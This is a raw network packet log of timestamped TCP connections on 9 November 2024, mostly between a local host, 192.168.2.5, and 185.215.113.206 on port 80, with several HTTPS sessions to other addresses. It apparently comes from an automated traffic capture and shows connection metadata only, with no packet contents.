Nov 9, 2024 22:09:51.287714958 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.287734032 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.287760019 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.287770987 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.287790060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.287801981 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.287817001 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.287828922 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.287833929 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.287843943 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.287847042 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.287870884 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.287893057 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.287905931 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.287913084 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.287920952 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.287939072 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.287950039 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.287970066 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.292968988 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.293004990 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.293019056 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.293030024 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.293041945 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.293071032 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.293108940 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.358944893 CET	443	49940	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:51.360506058 CET	49940	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:51.360562086 CET	443	49940	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:51.360616922 CET	49940	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:51.364998102 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.365019083 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.365031958 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.365071058 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.365124941 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.365144968 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.365187883 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.365200043 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.365236998 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.365264893 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.365299940 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.365313053 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.365324974 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.365339041 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.365351915 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.365372896 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.365403891 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.365428925 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.365448952 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.365468025 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.365477085 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.365502119 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.365519047 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.426397085 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.431116104 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.703146935 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.703212976 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.703280926 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.703347921 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.703418016 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.703453064 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.703465939 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.703509092 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.703569889 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.703613997 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.703622103 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.703634024 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.703674078 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.703686953 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.703711033 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.703751087 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.703752041 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.703762054 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.703798056 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.703875065 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.703888893 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.703902006 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.703912973 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.703927994 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.703933954 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.703969955 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.703993082 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704005957 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704018116 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704030037 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704046965 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.704082966 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.704104900 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704117060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704128981 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704143047 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704147100 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.704173088 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.704202890 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.704258919 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704272032 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704284906 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704303026 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704317093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704324007 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.704332113 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704349041 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.704349041 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704370022 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704376936 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.704397917 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.704422951 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.704466105 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704479933 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704494953 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704503059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704514027 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704528093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704540014 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704541922 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.704551935 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704575062 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.704587936 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.704690933 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704704046 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704715967 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704727888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704735994 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.704741001 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704755068 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704756975 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.704766989 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704787970 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.704812050 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.704813957 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704987049 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.704998970 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705014944 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705030918 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705040932 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.705041885 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705055952 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705068111 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705071926 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.705080986 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705090046 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.705092907 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705105066 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705116987 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.705116987 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705130100 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705142021 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705146074 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.705166101 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.705187082 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.705285072 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705296993 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705312014 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705324888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705337048 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705346107 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.705358028 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.705373049 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.705410957 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705423117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705435038 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705446959 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705460072 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705466032 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.705476999 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705508947 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.705518961 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.705543041 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705554008 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705564976 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705576897 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.705590010 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.705621004 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.728029013 CET	443	49948	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.728604078 CET	49948	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.728626966 CET	443	49948	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.729069948 CET	49948	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.729075909 CET	443	49948	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.855947971 CET	443	49948	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.855998039 CET	443	49948	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.856091022 CET	49948	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.865926027 CET	443	49950	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.873416901 CET	443	49949	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.875792027 CET	443	49951	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.877029896 CET	49951	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.877053022 CET	443	49951	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.877619028 CET	49951	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.877624989 CET	443	49951	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.878834963 CET	49948	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.878855944 CET	443	49948	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.878864050 CET	49948	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.878870964 CET	443	49948	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.880539894 CET	49950	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.880553007 CET	443	49950	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.881108046 CET	49950	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.881112099 CET	443	49950	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.881444931 CET	49949	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.881458998 CET	443	49949	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.881844997 CET	49949	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.881849051 CET	443	49949	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.927849054 CET	49953	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.927869081 CET	443	49953	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.928121090 CET	49953	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.932516098 CET	49953	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.932531118 CET	443	49953	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.986320019 CET	443	49952	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.992779016 CET	49952	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.992798090 CET	443	49952	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.993261099 CET	49952	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.993268013 CET	443	49952	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.004446983 CET	443	49951	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.004537106 CET	443	49951	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.004580021 CET	443	49951	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.004610062 CET	49951	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.004652977 CET	49951	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.004870892 CET	49951	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.004884958 CET	443	49951	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.004895926 CET	49951	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.004900932 CET	443	49951	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.006980896 CET	443	49950	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.007050037 CET	443	49950	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.007800102 CET	49954	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.007821083 CET	443	49954	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.007838011 CET	49950	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.007903099 CET	49954	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.008023977 CET	49954	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.008034945 CET	443	49954	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.008296013 CET	49950	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.008311033 CET	443	49950	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.008987904 CET	443	49949	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.009038925 CET	443	49949	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.009577990 CET	49949	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.009823084 CET	49949	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.009823084 CET	49949	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.009828091 CET	443	49949	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.009835958 CET	443	49949	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.011558056 CET	49955	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.011571884 CET	443	49955	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.011814117 CET	49955	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.012201071 CET	49955	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.012212992 CET	443	49955	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.013823032 CET	49956	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.013861895 CET	443	49956	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.013967037 CET	49956	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.014118910 CET	49956	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.014130116 CET	443	49956	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.016824007 CET	443	49946	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.021560907 CET	443	49947	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.023276091 CET	49946	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:52.023292065 CET	443	49946	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.023801088 CET	49947	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:52.023818970 CET	443	49947	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.024233103 CET	49946	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:52.024238110 CET	443	49946	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.024348021 CET	49946	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:52.024358034 CET	443	49946	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.024554014 CET	49947	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:52.024559021 CET	443	49947	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.024599075 CET	49947	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:52.024605989 CET	443	49947	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.116153955 CET	443	49952	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.116221905 CET	443	49952	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.116800070 CET	49952	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.127922058 CET	49952	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.127932072 CET	443	49952	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.127943993 CET	49952	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.127948999 CET	443	49952	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.150012970 CET	49957	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.150048018 CET	443	49957	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.150284052 CET	49957	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.150528908 CET	49957	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.150543928 CET	443	49957	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.283745050 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:52.283772945 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:52.288625002 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:52.288638115 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:52.569149017 CET	49958	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:52.569186926 CET	443	49958	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:52.569735050 CET	49958	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:52.570069075 CET	49958	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:52.570081949 CET	443	49958	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:52.610213995 CET	443	49947	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.610255003 CET	443	49947	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.610297918 CET	443	49947	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.610313892 CET	49947	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:52.610325098 CET	443	49947	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.610354900 CET	49947	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:52.618071079 CET	49947	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:52.618083000 CET	443	49947	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.618118048 CET	49947	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:52.618268013 CET	443	49947	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.618310928 CET	443	49947	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.618366957 CET	49947	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:52.675950050 CET	443	49953	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.680423021 CET	49953	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.680449963 CET	443	49953	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.680902004 CET	49953	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.680907965 CET	443	49953	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.732743979 CET	443	49955	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.733453989 CET	49955	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.733468056 CET	443	49955	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.733906031 CET	49955	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.733910084 CET	443	49955	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.738280058 CET	443	49946	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.738348961 CET	443	49946	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.738570929 CET	443	49954	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.738642931 CET	49946	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:52.738662958 CET	443	49946	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.739245892 CET	49954	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.739258051 CET	443	49954	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.739720106 CET	443	49956	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.739847898 CET	49954	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.739851952 CET	443	49954	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.740169048 CET	49956	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.740181923 CET	49946	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:52.740195036 CET	443	49956	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.740199089 CET	443	49946	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.740221024 CET	49946	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:52.740509987 CET	443	49946	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.740544081 CET	443	49946	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.740602970 CET	49946	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:52.740695000 CET	49956	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.740701914 CET	443	49956	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.797724009 CET	49959	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:52.797743082 CET	443	49959	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.797832012 CET	49959	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:52.798135042 CET	49959	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:52.798147917 CET	443	49959	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:52.809739113 CET	443	49953	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.809799910 CET	443	49953	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.809892893 CET	49953	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.810013056 CET	49953	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.810030937 CET	443	49953	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.810075998 CET	49953	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.810081959 CET	443	49953	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.813358068 CET	49960	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.813389063 CET	443	49960	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.813560009 CET	49960	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.813699007 CET	49960	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.813714027 CET	443	49960	13.107.246.45	192.168.2.5
